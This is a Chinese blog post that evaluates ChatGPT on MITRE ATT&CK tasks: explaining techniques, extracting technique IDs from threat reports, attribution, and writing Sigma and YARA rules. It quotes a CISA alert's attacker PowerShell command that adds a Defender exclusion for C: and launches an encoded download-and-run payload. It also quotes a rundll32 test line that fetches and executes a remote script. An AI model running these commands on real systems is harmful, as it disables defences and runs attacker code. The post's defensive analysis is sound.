近期ChatGPT比較火,ChatGPT概念的股票也節節高漲,于是蹭個ChatGPT熱點,來評估下在MITRE ATT&CK落地過程中,ChatGPT能發揮出怎麼樣的作用。
簡單介紹下ChatGPT和MITRE ATT&CK:
ChatGPT:
是由OpenAI開發的一個人工智能聊天機器人程式,于2022年11月推出。該程式使用基于GPT-3.5架構的大型語言模型并通過強化學習進行訓練。ChatGPT目前仍以文字方式互動,而除了可以透過人類自然對話方式進行互動,還可以用于相對複雜的語言工作,包括自動文本生成、自動問答、自動摘要等在内的多種任務。
OpenAI估值已漲至290億美元。上線兩個月後,使用者數量達到1億。
MITRE ATT&CK
全稱是 Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK),它是一個站在攻擊者的視角來描述攻擊中各階段用到的技術的模型。将已知攻擊者行為轉換為結構化清單,将這些已知的行為彙總成戰術和技術,并通過幾個矩陣以及結構化威脅資訊表達式(STIX)、名額資訊的可信自動化交換(TAXII)來表示。由于此清單相當全面地呈現了攻擊者在攻擊網絡時所采用的行為,是以對于各種進攻性和防禦性度量、表示和其他機制都非常有用。多用于模拟攻擊、評估和提高防禦能力、威脅情報提取和模組化、威脅評估和分析。
本文主要從以下幾個方面考察ChatGPT在MITRE ATT&CK落地過程中的應用能力:
- 基礎能力:對MITRE ATT&CK技術點的認識;
- 威脅情報能力:根據文本提取ATT&CK ID;歸因能力;
- 檢測、評估能力:檢測某ATT&CK技術點的能力;評估組織内對某攻擊技術的防禦能力。
- 模拟攻擊能力:針對具體的ATT&CK ID,提供模拟攻擊方案;
一、基礎能力:
首先考察他是否認識某個ATT&CK技術點:
T1566.001是什麼意思 |
T1566.001是一個來自于MITRE ATT&CK架構的術語,指的是"Phishing: Spearphishing Attachment"(釣魚:定向釣魚附件)。 這個術語描述了攻擊者使用電子郵件或其他通信方式向特定的個人或組織發送含有惡意附件的資訊的行為。這些附件可能是文檔、PDF檔案、壓縮檔案等,包含惡意軟體,例如遠端通路工具(RAT)、木馬、勒索軟體等,一旦被打開,就會感染受害者的計算機系統。 針對特定目标的釣魚攻擊通常比廣泛的釣魚攻擊更具針對性和有效性,因為攻擊者可以定制釣魚郵件以使其看起來更加真實、誘人和可信,進而增加受害者打開附件的可能性。T1566.001是一個常見的攻擊技術,許多安全組織都将其列為常見的網絡攻擊類型之一。 |
這個回答其實是很棒的。他并沒有完全照抄MITRE ATT&CK官方文檔中的對于T1566.001的說明:
他是用自己的語言進行了總結,并且還是翻譯後的且翻譯效果比google的機翻要好。可以很友善在SOC、EDR等産品中直接嵌入。
接着問他對于某個技術和ATT&CK的映射能力:
列舉下跟powershell相關的ATT&CK |
以下是一些與PowerShell相關的MITRE ATT&CK技術:
|
這個回答也不錯。基本列舉出了powershell可以在哪些技術點中使用。
繼續問他檢測T1059.001需要的資料源:
在EDR上增加哪些資料源,可以檢測T1059.001 |
T1059.001是指PowerShell腳本中的執行。要檢測此技術,您可以考慮以下資料源:
|
本以為他會學習MITRE ATT&CK文檔裡的DataSource資料源:
但是意外的是,他并沒有采用,而是根據自己的了解來回答檢測資料源的問題。
那針對該技術點的緩解措施呢?于是繼續提問:
T1059.001的緩解措施有哪些 |
T1059.001是指利用PowerShell腳本執行惡意代碼的攻擊技術,為了緩解此攻擊技術,可以采取以下措施:
|
同樣的,并未完全使用官方的緩解措施,很棒!
繼續考察ATT&CK技術點群組織的關系。于是問它:
請列舉下APT32組織所使用的ATT&CK |
APT32(又稱OceanLotus)是一組來自越南的攻擊者組織,他們使用多種進階持久性攻擊政策和技術來攻擊目标。以下是一些與APT32組織相關的MITRE ATT&CK技術:
|
這個其實對它沒什麼難度。還對APT32組織進行了解釋。
不過,我更感興趣的是反過來的能力,根據技術點映射組織。繼續盤它:
哪些APT組織使用過T1574.002?并列舉出他們具體的使用過程。 |
T1574.002是指“Hijack Execution Flow: DLL Side-Loading”,這個技術通常用于在受害者系統上執行惡意代碼。以下是一些已知使用T1574.002的APT組織以及他們使用過程的具體細節:
|
看看結果,依然穩。它首先解釋了該技術點,然後列出了這些組織。還對組織進行了解釋,并列舉了相關的過程。
上面問題主要考察了ChatGPT對ATT&CK相關概念的了解程度,結果還是非常讓人滿意的。
二、威脅情報能力:
威脅情報能力主要展現在:
- 如何根據一段文字,準确的提取出對應的ATT&CK ID;
- 針對ATT&CK ID,進行簡單的溯源和歸因
- 機讀情報
針對第一個問題,其實有過一些專門的機器學習的項目,如TRAM(https://github.com/mitre-attack/tram),看看ChatGPT能不能搞定。
而針對第二個問題,雖然根據某次攻擊活動中使用的ATT&CK來進行歸因是不科學的,也是不現實的。但是如果能輔助縮小一些範圍還是非常有幫助的。
第三個問題,主要是考察能否把人讀的情報用stix表示出來。
一個一個來盤它。
首先我們選取一篇文章:
Alert (AA22-320A):Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester(https://www.cisa.gov/uscert/ncas/alerts/aa22-320a)
選取它的目的是該文章中就列出了具體的ATT&CK技術點:
請識别出下面這段文字中的所有ATT&CK技術點,并标注在原文後面的[]裡: In February 2022, the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds. The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender: powershell try{Add-MpPreference -ExclusionPath 'C:\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next stage and execute it" The exclusion rule allowlisted the entire c:\drive, enabling threat actors to download tools to the c:\drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk. |
以下是在文本中提到的ATT&CK技術點,并标注在原文後面的[]裡:
|
它提取出了5個ATT&CK ID。有些遺憾,有幾個技術點它并沒有寫上對應的ATT&CK ID,但是可以根據他的描述來推斷出他提取的ATT&CK。
我們對照下它的結果和原文中标注的結果。
原文中标注的結果是:
- T1190:the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.
- ChatGPT同樣識别到了這句,但是它僅提取了戰術:初始通路[TA0001] ,并未提取具體的技術。
- 事實上,多重新整理幾次,它的結果是會變的。某些結果會識别出這個ID:
- T1059.001 :The actors’ exploit payload ran the following PowerShell command [T1059.001]
- 針對這個點,ChatGPT進行了準确的提取。
- T1562.001:added an exclusion rule to Windows Defender。
- 這個點,ChatGPT并未識别到。
- T1105:The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1 .
- 這個點,ChatGPT也進行了準确的提取,不過未給出ID,稍微有點遺憾。
- T1070.004:removed mde.ps1 from the disk
- 這個點同樣也進行了準确的提取,但是同樣未給出ID。
除了原文中标注的ATT&CK ID,他還額外的标注了一個原文中所沒有的:
惡意IP位址 - 182.54.217[.]2是一個已知的惡意IP位址,與攻擊者的連接配接持續了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]
不過,這個筆者不知道它标注的是哪個ID。有知道的同行麻煩回報給我,感謝。
雖然,但是。總體來說,筆者對ChatGPT的效果還是挺滿意的。但是不禁要問,是不是因為原文中給出了标注,是以才提取的這麼好?
于是,再次找了一篇未标注的文章段落讓ChatGPT提取:
原文位址:https://www.mandiant.com/resources/blog/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation
請列出下面這段文字中使用的ATT&CK技術點ID,并在原文後的[]裡标注出來: Throughout FireEye’s tracking of FIN7 campaigns, the attackers have attempted to stay ahead of the game and thwart detection, using novel tactics and displaying characteristics of a well-resourced operation. For example, in April 2017, FireEye blogged about FIN7’s spear phishing emails that leveraged hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. This was a direct departure from their established use of weaponized Office macros and highlighted the group’s adaptive nature to evade detection. FireEye also previously reported on FIN7’s use of the CARBANAK backdoor as a post-exploitation tool to cement their foothold in a network and maintain access to victim environments. CARBANAK is well known for its use in highly profitable and sophisticated attacks dating back to 2013, with usage attributable to FIN7 beginning in late 2015, although how interconnected the campaigns employing the malware over this five-year span are is unclear. FIN7’s use of CARBANAK is particularly notable due to their use of creative persistence mechanisms to launch the backdoor. The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process, and then spawned a CARBANAK backdoor process. FIN7 also used this tactic to install a payment card harvesting utility. Another notable characteristic of FIN7 has been their heavy use of digital certificates. Unsurprisingly, malicious threat actors have sought to exploit the legitimacy afforded by these certificates. By digitally signing their phishing documents, backdoors and later stage tools, FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems. |
|
它同樣進行了提取。我們根據他的結果來進行分析:
- T1192:是針對釣魚的一個技術點。它進行了準确的提取。可是,這個ID已經被廢棄,轉而成為新的T1566.002。是以,雖然結果正确,但是資料有些老。
- 不過也可以了解,比較根據公開資料,它的學習資料是到2021年的。
- T1059:是針對VBScript的一個技術點。不過它未标出子技術,更精确的應該是T1059.005
- 而針對後半句"VBScript functionality launched by mshta.exe",它未标注出mshta的利用,是以遺漏了T1218.005:Signed Binary Proxy Execution: Mshta
- T1105:使用CARBANAK後門。T1105這個技術點是遠端工具拷貝,是使用工具将工具或其他檔案從外部系統傳輸到受感染的環境中。粗看起來沒什麼關系,但事實上CARBANAK後門具有傳輸檔案的能力。是以筆者覺得這個标注沒什麼問題。
- T1078:這個技術點同樣針對CARBANAK這個後門。不過這個點的提取有點問題,文中的描述并未提到有效賬戶這個技術點。不過,筆者猜測,可能是CARBANAK後門跟CARBANAK組織同名,而CARBANAK組織有使用過T1078,是以造成了提取錯誤?
- T1116:代碼簽名。提取準确,但是這個技術點在新版本中也已經廢棄,改為T1553.002。
不過,還有2個技術點未提取到:
- T1546.011:Event Triggered Execution: Application Shimming。[The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process]
- T1137.001:Office Application Startup: Office Template Macros.[FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.]
雖然存在資料未更新和遺漏的問題,但整體的效果還是挺不錯的。
最後再試試中文文章的識别:
看看對中文的識别和提取能力如何。
請列出下面這段文字中使用的ATT&CK技術點ID: 2020年7月,瑞典計算機黑客Tillie Kottmann(非ATW成員)曾公開曝光洩露了微軟、Adobe、聯想、AMD、高通、聯發科、通用電氣、任天堂、迪士尼、華為海思等 50 家科技公司部分項目的源代碼,該黑客曾被美國FBI調查,目前仍在指控中。根據FBI調查,黑客Tillie Kottmann利用的是SonarQube服務的配置失誤竊取的相關公司源代碼。SonarQube是一款開源代碼品質管理的系統,被廣泛的應用于相關企業的項目開發流程中,黑客先是掃描了暴露于公網上的SonarQube資産,它們通常預設使用9000端口,再利用預設的管理者賬戶(如使用者名為admin,密碼也是admin)登入來竊取源代碼。 |
以下是在文本中提到的ATT&CK技術點ID:
|
基本準确。不過從文中并未讀出使用了T1219:遠端通路工具(RATs)。
接下來,我們來看看歸因。
針對但技術ID,上面基礎能力測試中,ChatGPT已經給出了很滿意的結論。那麼針對多ID組合,還能否識别出?
選取某BITTER的報告進行提問:
原文:https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/Bitter/27-08-19/Malware%20analysis%2031-08-19.md
某次攻擊活動,使用了T1203、T1060、T1012、T1105技術,請問可能是哪個攻擊組織的攻擊活動? |
T1203、T1060、T1012、T1105是MITRE ATT&CK架構中的四種攻擊技術,用于描述攻擊者在攻擊過程中可能使用的不同技術手段。然而,這些技術手段并不能準确地确定是哪個攻擊組織進行的攻擊活動。 攻擊組織的攻擊活動通常具有多樣性和複雜性,可能會使用多種攻擊技術和手段,MITRE ATT&CK架構中描述的技術手段可能會被多個攻擊組織所使用。 是以,如果隻知道攻擊使用了T1203、T1060、T1012、T1105等攻擊技術,無法準确判斷是哪個攻擊組織發動的攻擊活動。需要進一步分析攻擊活動的其他特征和證據,才能進行更準确的判斷。 |
針對這個問題,ChatGPT并未給出相關的結論。不過正如筆者上面所說,根據ATT&CK ID來進行歸因并不科學。而ChatGPT也給出了同樣的建議:
是以,如果隻知道攻擊使用了T1203、T1060、T1012、T1105等攻擊技術,無法準确判斷是哪個攻擊組織發動的攻擊活動。需要進一步分析攻擊活動的其他特征和證據,才能進行更準确的判斷。
最後來看機讀情報:
針對APT32組織的TTPs,請用stix2.1進行描述 |
以下是一個使用STIX 2.1協定描述APT32組織的TTPs的示例: 在上面的示例中,我們描述了APT32組織使用的一些常見TTPs,包括“Spearphishing Attachment”攻擊戰術,使用的“OceanLotus”後門惡意軟體和“Mimikatz”憑證轉儲工具。我們還指定了每個TTP與MITRE ATT&CK中定義的攻擊鍊的不同階段。 |
三、檢測、評估能力
考察如何檢測某個技術點,以及寫規則的能力:
針對技術點的檢測方案和資料源,基礎測試裡已經給出了解答。下面主要考察下寫規則能力:
請給下面的T1218.011的測試案例編寫對于的sigma規則: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close(); |
以下是針對T1218.011測試案例的一個可能的sigma規則: 這個sigma規則的目的是檢測使用T1218.011技術執行的攻擊。規則比對的條件是程序指令行中包含rundll32.exe、javascript和mshtml,并且字元串中包含指定的檔案URL變量。如果規則比對,輸出将包括标題、描述、标簽和級别資訊。 |
編的還可以。
繼續測試下yara規則:
請舉例一個檢測T1027.002的yara規則 |
下面是一個簡單的 YARA 規則示例,可用于檢測使用 UPX 工具進行壓縮的可執行檔案,即可能被用于軟體包裝攻擊: 在這個規則中,使用了 YARA 的字元串比對功能,搜尋檔案前 4096 位元組内是否包含 "UPX" 字元串,如果包含則認為該檔案可能被壓縮或加密。如果您想更準确地檢測軟體包裝攻擊,可以添加更多的字元串或其他特征。值得注意的是,這隻是一個簡單的示例規則,實際應用中需要根據具體情況進行修改和優化。 |
這規則雖然談不上錯誤,但是也着實太過于簡單了。
再來一次:
請舉例一個檢測T1027.002的yara規則 |
下面是另一個可以用于檢測軟體包裝(T1027.002)的 YARA 規則示例,使用的是更全面的字元串特征比對: 在這個規則中,使用了三個字元串特征。第一個字元串特征 $packed 表示檔案是否包含了 "Packed by:",這是一些軟體包裝工具在壓縮檔案時會添加的字元串。第二個字元串特征 $packer 表示檔案是否包含了常見的軟體包裝工具(如 UPX)的辨別符。第三個字元串特征 $entropy 是一個十六進制位元組序列,表示了一個特定的檔案熵值計算公式,可以用于檢測檔案是否具有異常的熵值,是另一種檢測軟體包裝的方式。 這個規則包含了多個條件,并使用了 any of them 表示隻要有一個條件比對成功即可觸發規則。需要注意的是,這個規則可能存在一定的誤報率,因為某些合法的軟體也可能包含這些特征。是以,實際使用中需要根據具體情況進行優化和調整。 |
總算是看起來像我心目應該是的yara規則的樣子。
不過仔細看,還是有錯誤。
1)條件是any of them,那意味着這規則跟剛才的沒啥差別,甚至還不如。上一個回答裡的規則至少把"UPX"的字元串限定在前4096位元組裡。
2)即便把any of them修改成all of them呢?需要驗證下它的那個二進制串的準确性:
這段二進制,把通配都修改為00,看看代碼長啥樣:
然後再随便找一個upx的檔案,沒找到。印象中UPX也沒有這樣的代碼。
是以,看似不錯的yara規則還是存在不少的問題。離實戰還有一段距離。
最後,再來看下怎麼評估某個攻擊繼續的防禦能力:
怎麼使用ATT&CK來評估組織内的防攻擊鍊攻擊的能力?請舉例。 |
以下是一個使用MITRE ATT&CK架構來評估組織内的防禦鍊攻擊能力的示例:
|
這裡沒什麼好說的,都是各種套話。。。
四、模拟攻擊能力
針對某技術的測試用例:
請列舉兩個具體的T1489的測試用例 |
T1489是指“服務停止”,這個技術通常與攻擊者試圖停止或禁用特定的服務相關聯。以下是兩個具體的T1489測試用例:
|
雖然給出的例子比較簡單,但也确實是測試用例。并且給出了不同系統的。
那麼針對某個組織的模拟攻擊呢?
某企業要使用Fin7組織進行模拟攻擊演習,請根據TTPs設計一個根據ATT&CK的模拟攻擊的過程方案。 |
針對某企業要使用Fin7組織進行模拟攻擊演習,可以根據MITRE ATT&CK架構的TTPs(戰術、技術和過程)來設計一個攻擊方案,下面是一個基本的方案,供參考:
|
雖然也是套話多,不過也沒什麼大問題。
結論:
- ChatGPT由于使用的學習資料到2021年,是以存在一定的局限性。如ATT&CK ID的更新;
- 雖然ChatGPT不是專業的ATT&CK工具,但是在很多場景可以替代ATT&CK的專業工具,并且效果還不差。如針對一段文字中的ATT&CK的提取;
- 可以把ChatGPT內建到SOC/SIEM等平台裡,在某些場景輔助營運人員進行安全營運,如對ATT&CK技術點的解釋和翻譯,日志和報告中提取ATT&CK;生成自己的威脅情報;簡單規則的提取等。
- 看似豐富的ATT&CK回答中,其實還存在很多錯誤。是以利用的時候,需要仔細甄别。
from https://mp.weixin.qq.com/s/hehFQbR6lqAABEDhrxtIBg